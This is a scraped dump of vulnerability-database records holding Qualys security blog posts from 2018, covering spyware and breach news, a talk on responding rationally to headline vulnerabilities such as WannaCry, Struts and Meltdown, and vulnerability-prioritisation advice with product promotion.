malware was first observed lurking in an app, repackaged to look identical to a legitimate Android app called \u2018Sex Game.\u2019 It was available in the Google Play store starting in 2016, but has since been removed,\u201d a ThreatPost [article](<https://threatpost.com/triout-malware-carries-out-extensive-targeted-android-surveillance/136773/>) reads.\n\nMore information:\n\n[Android 'Triout' spyware records calls, sends photos and text messages to attackers](<https://www.csoonline.com/article/3299700/security/android-triout-spyware-records-calls-sends-photos-and-text-messages-to-attackers.html>) _(CSO)_\n\n[This Android spyware records calls and sends your pictures and location to hackers](<https://www.zdnet.com/article/android-spyware-malware-records-calls-and-sends-your-pictures-to-hackers/>) _(ZDnet)_\n\n[New Android Triout Malware Can Record Phone Calls, Steal Pictures](<https://www.bleepingcomputer.com/news/security/new-android-triout-malware-can-record-phone-calls-steal-pictures/>) _(BleepingComputer)_\n\n### In Other News \u2026\n\n * Cyber thieves [stole](<https://cheddars.com/customer-notification/>) payment card information from Cheddar\u2019s Scratch Kitchen restaurants in 23 U.S. states for two months late last year, potentially affecting [almost 600,000 customers](<https://www.prnewswire.com/news-releases/notice-of-unauthorized-access-to-cheddars-scratch-kitchen-guest-data-300701161.html>).\n * Apple was hacked by a 16-year old Australian boy who told authorities he [dreamed of working](<https://hotforsecurity.bitdefender.com/blog/apple-hacked-by-16-year-old-who-dreamed-of-working-for-firm-20254.html>) at the company.\n * Adobe issued [out-of-band fixes](<https://helpx.adobe.com/security/products/photoshop/apsb18-28.html>) for remote code execution vulnerabilities in Photoshop CC, barely a week after its scheduled monthly set of patches.\n * Spyfone, a company that lets parents and employers monitor mobile devices, left an AWS S3 storage bucket unprotected, [exposing all manner of personal data](<https://motherboard.vice.com/amp/en_us/article/9kmj4v/spyware-company-spyfone-terabytes-data-exposed-online-leak>) from thousands of customers.", "cvss3": {}, "published": "2018-08-27T18:32:33", "type": "qualysblog", "title": "Security News: Hackers Aim Ransomware at Big Cos., as Experts Call for Swift Patching of Struts Bug", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-27T18:32:33", "id": "QUALYSBLOG:5E5409E093DE06FE967B988870D82540", "href": "https://blog.qualys.com/news/2018/08/27/security-news-hackers-aim-ransomware-at-big-cos-as-experts-call-for-swift-patching-of-struts-bug", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T20:50:12", "description": "It\u2019s happening more and more. \n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/IMG_3180-1-600x690.jpg)_Gill Langston, a Qualys Director of Product Management, speaks at RSA Conference 2018_\n\nHigh profile vulnerabilities like Meltdown and Spectre are disclosed, and become headline-grabbing news not just in the technology press, but on general news outlets worldwide.\n\nEven if the vulnerabilities aren\u2019t associated with an attack, the news reports rattle C-level executives, who ask the security team for a plan to address the by now notorious bug, and pronto.\n\nOften, a counter-productive disruption of the normal vulnerability and patch management operations ensues, as those involved scramble to draft a response against the clock in a panic atmosphere, punctuated by confusion and finger-pointing.\n\n\u201cShould I just immediately be jumping and reacting? Should I start deploying patches, and then go from there? I\u2019m going to argue that that\u2019s not always the case,\u201d Gill Langston, a Product Management Director at Qualys, said Wednesday during a presentation at RSA Conference 2018.\n\n### The right approach\n\nWhat security teams should aim for is a coherent, appropriate and rational response plan that is grounded in a factual and comprehensive assessment of the situation, said Langston, whose presentation was titled \u201cThe Sky Is Falling! Responding Rationally to Headline Vulnerabilities.\u201d\n\n\u201cHow can I put this together and send something back to the C-level executives that says: \u2018This is my recommendation for now.\u2019 It may not always be to go deploy the patches,\u201d Langston said. \u201cCreate a plan, and then react, review and improve it over time.\u201d\n\nA key step in dealing effectively with this type of \u201cnews event\u201d vulnerabilities is to have a proper and solid vulnerability management and remediation program in place. That way, organizations are in a better position to do a precise risk assessment of disclosed bugs on a continuous basis, according to Langston.\n\nThis also means that when a high profile vulnerability is announced, security teams have a head start. That way, they don\u2019t have to go back to square one to ensure they are in fact identifying all assets before they can start to react.\n\nOrganizations will be able to pick the most appropriate course of action, which depending on the case, can be to patch right away, to mitigate when remediation is complex, or to monitor and wait before acting.\n\nBelow are three recent examples of each scenario.\n\n### Patch now, unless you \u201cwanna cry\u201d later\n\nMost organizations should have prioritized patching the vulnerability that was exploited by the WannaCry ransomware, way before the attack was unleashed, according to Langston. Instead, the [WannaCry attack](<https://blog.qualys.com/news/2017/05/19/no-more-tears-wannacry-highlights-importance-of-prompt-precise-vulnerability-remediation>) infected 300,000-plus systems and disrupted critical operations globally.\n\nMicrosoft disclosed the Windows vulnerability ([MS17-010](<https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>)) in mid-March 2017 and made a patch available. At the time, Microsoft rated the vulnerability as \u201cCritical\u201d due to the potential for attackers to execute remote code in affected systems.\n\nThe vulnerability also had a number of other red flags that made it stand out as a particularly concerning one. In mid-April, the vulnerability became even more dangerous when the [Shadow Brokers hacker group](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) released an exploit for it called EternalBlue.\n\nSo organizations had a window of about two months to install the patch before WannaCry was unleashed in mid-May. Had most affected systems been patched, WannaCry\u2019s impact would have been minor.\n\n\u201cIn most cases, organizations that follow the standard patching cycle of 30 days, they were already protected. And two months in, you got a second shot at it,\u201d he said.\n\nLangston displayed a graph with Qualys vulnerability scanning data showing that between mid-March and mid-April, detection of affected devices spiked and gradually declined as organizations scanned and patched their systems.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/Slide13.jpg)\n\nHowever, the number of vulnerable systems shoots up after the EternalBlue release, after organizations apparently expanded the initial scope of scanned IT assets. \n\nAnd there\u2019s an important lesson here. \u201cWhen you\u2019re dealing with a vulnerability that can jump around your network, if you\u2019re not identifying all of the assets, you\u2019re already behind the eight ball,\u201d he said.\n\nThe graph shows that widespread patching didn\u2019t fully kick in until after the WannaCry attacks began.\n\nFom WannaCry, Langston identified some key no-nos: A slow identification of all at-risk assets; a tendency by IT operations teams to treat all issues with similar urgency; and a complacency among end users to delay rebooting their machines to finish the patching process.\n\n### Strut your firewall\n\nLangston then discussed the Struts web application vulnerability that was exploited most famously at Equifax, leading to that consumer credit reporting agency's massive data breach. On the same day that Struts was disclosed, and a patch made available, an exploit was also released, so the risk was high.\n\nBecause web application vulnerabilities tend to be difficult to remediate, often requiring a rebuild and long testing cycles, Struts highlights the importance of mitigation. In this case, a good plan would have been to use a[ web application firewall,](<https://blog.qualys.com/technology/2017/03/09/qualys-waf-2-0-protects-against-critical-apache-struts2-vulnerability-cve-2017-5638?>) while patching was in progress, he said. \n\n### Meltdown and Spectre: All bark and no bite?\n\nThen there are the Spectre and Meltdown vulnerabilities, which caused widespread alarm upon their disclosure in early January of this year, but for which there are only ineffective proof-of-concept exploits so far.\n\nIn the panic that was created, vendors such as Microsoft and Intel released faulty patches that IT departments rushed to apply, only to have to react after they caused system problems, including data corruption and performance issues.\n\nQualys data of vulnerability scans for Meltdown shows an initial push to install OS patches, followed by a long plateau of inactivity, as organizations probably weighed the fact that there were no exploits, and that the patches were problematic.\n\nA big lesson from Meltdown and Spectre? \u201cJust because it\u2019s in the news doesn\u2019t mean it\u2019s an emergency,\u201d Langston said. In other words, it\u2019s an example of a scenario where the most prudent thing to do is to monitor the situation and wait, instead of rushing to patch.\n\n### Best practices\n\nLangston recommends these six tips for crafting the best response to a notoriously public vulnerability:\n\n * Identify high-risk vulnerabilities often\n * Track the specific risk to your organization\n * Determine the best course of action\n * Decide when to communicate with internal stakeholders\n * Update regularly\n * Work the plan and improve it\n\nIt\u2019s also key to get buy-in from all the teams that will be involved in drafting, approving and executing the plan, including executives, security operations, DevOps, and IT operations. \u201cBuild the playbook together,\u201d he said.\n\nThe response plan should have four main elements:\n\n * Preparation, which involves ensuring that all assets are identified, that the triggers are documented and that the communication outreach is built\n * Reaction, which involves working the playbook, deciding on the course of action (fix, wait or mitigate), and communicating with your users\n * Revision, which involves reviewing the outcomes of the executed plan, and identifying improvement areas\n * Improvement, which involves collaboration to refine the response, modifying the plan based on findings, and extending the plan to all high-severity vulnerabilities\n\nThis should all amount to a rational, measured response, instead of to a knee-jerk reaction that leads to erratic, misguided decisions and actions.\n\n\u201cIf you don\u2019t have some response plan, you end up bouncing off of each other, pointing fingers and slowing down the entire process,\u201d he said.\n\nBelow is a checklist template that Langston suggests could be helpful in analyzing how to best respond to a \u201cheadline vulnerability\u201d.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/Slide36-1.jpg) \nHere\u2019s how that checklist might look when filled out by a hypothetical organization for the Meltdown vulnerability.\n\n![](https://blog.qualys.com/wp-content/uploads/2018/04/Slide37.jpg)\n\nThis information can also be enriched and expanded using automated dashboards with threat feeds and other resources that are updated in real time and that allow security teams to do in depth analysis of relevant data.\n\nThe goal is that in the face of a headline-blaring vulnerability, organizations can come up with a well thought and sensible plan. \u201cA methodical approach leads to a rational response,\u201d Langston said.", "cvss3": {}, "published": "2018-04-19T23:00:03", "type": "qualysblog", "title": "The Sky Is Falling! Responding Rationally to Headline Vulnerabilities", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-04-19T23:00:03", "id": "QUALYSBLOG:1A5EE9D9F7F017B2137FF614703A8605", "href": "https://blog.qualys.com/news/2018/04/19/the-sky-is-falling-responding-rationally-to-headline-vulnerabilities", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T20:50:12", "description": "![](https://blog.qualys.com/wp-content/uploads/2018/05/cyber-security-1923446_1920-600x384.png)Here\u2019s a stat that shows the importance of prioritizing vulnerability remediation: Almost 30% of the CVEs disclosed in 2017 had a CVSS score of \u201cHigh\u201d or \u201cCritical.\u201d That works out to about 3,000 such vulnerabilities, or about 58 every week.\n\nGiven this large number of severe vulnerabilities, it\u2019s critical for IT and security teams to make a deeper assessment of the risk they represent in the context of their organizations\u2019 IT environment.\n\nIf they identify the vulnerabilities that pose the highest risk to their organization\u2019s most critical assets, they\u2019ll be able to prioritize remediation accordingly and eliminate the most serious and pressing threats to their IT environment.\n\nHowever, as evidenced by the long list of major breaches caused by unpatched vulnerabilities, it\u2019s hard for many businesses, government agencies and not-for-profit organizations to prioritize remediation consistently and accurately.\n\n\u201cOne of the big challenges that we have as security professionals is trying to stay on top of our vulnerability management,\u201d Josh Zelonis, a Forrester Research analyst, said during a recent [webcast](<https://www.qualys.com/webcasts/prioritization-vulnerabilities-modern-it-environment/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=webcast&leadsource=344565181>).\n\nZelonis, who cited the CVE stat during the webcast, said that, according to a 2017 Forrester survey of global businesses, 58% of them experienced at least one breach in the previous 12 months. Among those, 41% of the breaches were carried out by exploiting a vulnerability.\n\n\u201cThis is really representative of the problems we\u2019re seeing in the industry with prioritization and getting patches deployed, and this is only increasing,\u201d he said.\n\n\u201cIn a post-Equifax world, VM is coming under increased scrutiny,\u201d Zelonis added, alluding to the massive data breach suffered by the credit reporting agency in 2017 after hackers exploited the Apache Struts vulnerability (CVE-2017-5638), which had been disclosed about six months before.\n\nRead on to learn valuable best practices for prioritizing remediation, and how Qualys can help your organization overcome this critical challenge.\n\n### Vulnerability management and prioritization tips\n\nAccording to Zelonis, the vulnerability risk management process has four main steps: \n\n * Asset identification\n * Enumeration of assets\n * Prioritization of patching\n * Remediation\n\nWhen assigning remediation priorities, it\u2019s key to examine the severity of the vulnerabilities in the context of each asset. \n\nFor example, it should be a top priority to remediate a critical vulnerability in an asset that\u2019s highly important. However, remediating that same vulnerability may not be a top priority when it\u2019s present in an asset of medium or low importance. \n\nIn vulnerability management, it\u2019s also helpful to use threat intelligence not just to detect threats, but to also preemptively patch using threat landscape trends as a guide.\n\n\u201cIt\u2019s important to understand how a vulnerability can be exploited so you can take a look at at the assets within your organization to figure out where patches need to be prioritized and applied,\u201d Zelonis said.\n\nThreat intelligence is also essential for security teams to be able to communicate effectively with C-level executives and board members, who are increasingly interested in staying informed about the organization\u2019s security posture and strategy.\n\n\u201cOnce you\u2019ve made it relevant to them, they\u2019re going to need to understand what you\u2019re doing to mitigate the situations and perhaps allocate additional budget where necessary,\u201d he said.\n\nIt\u2019s also important to communicate this information not just to the higher-ups, but also horizontally across other IT teams such as operations, and across business units, because vulnerability remediation requires cross-functional collaboration.\n\n\u201cThis is a major gap we see with organizations who are struggling to get items patched: The security team\u2019s priorities aren\u2019t echoed nor understood outside of the security team,\u201d he said.\n\nThe goal here is to make these other teams aware of the real risk and potential business impact of particular vulnerabilities.\n\nUltimately, organizations should evolve from vulnerability management to vulnerability risk management. That way, the focus isn\u2019t just on reducing false positives, but rather on assessing critical data points and metrics to attain an understanding of risk, according to Zelonis.\n\n### Qualys: Asset visibility, vulnerability management and threat prioritization\n\nWith Qualys, you\u2019ll get complete visibility of your IT assets wherever they reside -- on premises, in clouds or at remote endpoints -- and you\u2019ll be able to continuously detect and asses all your vulnerabilities, and precisely prioritize remediation.\n\nWith proper vulnerability management, you \u201cimmunize\u201d your IT assets against opportunistic attacks which are designed to exploit common, well-known bugs and which are the most likely to hit your network.\n\nLet\u2019s look at three Qualys products that work in tandem to provide you with this asset visibility, vulnerability detection and remediation prioritization.\n\n_Qualys AssetView_\n\n[Qualys AssetView](<https://www.qualys.com/apps/asset-inventory/?utm_source=website&utm_medium=blog&utm_campaign=demand-gen&utm_term=forrester-vulnerability-prioritization-q1-2018&utm_content=trial&leadsource=344565181>) automates collection and categorization of IT and security information, and provides a unified view of this data.\n\n\u201cIt brings IT and security data together,\u201d Qualys Product Management Director Jimmy Graham said during the webcast, titled \u201cPrioritization of Vulnerabilities in a Modern IT Environment.\u201d\n\n![](https://blog.qualys.com/wp-content/uploads/2

New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers

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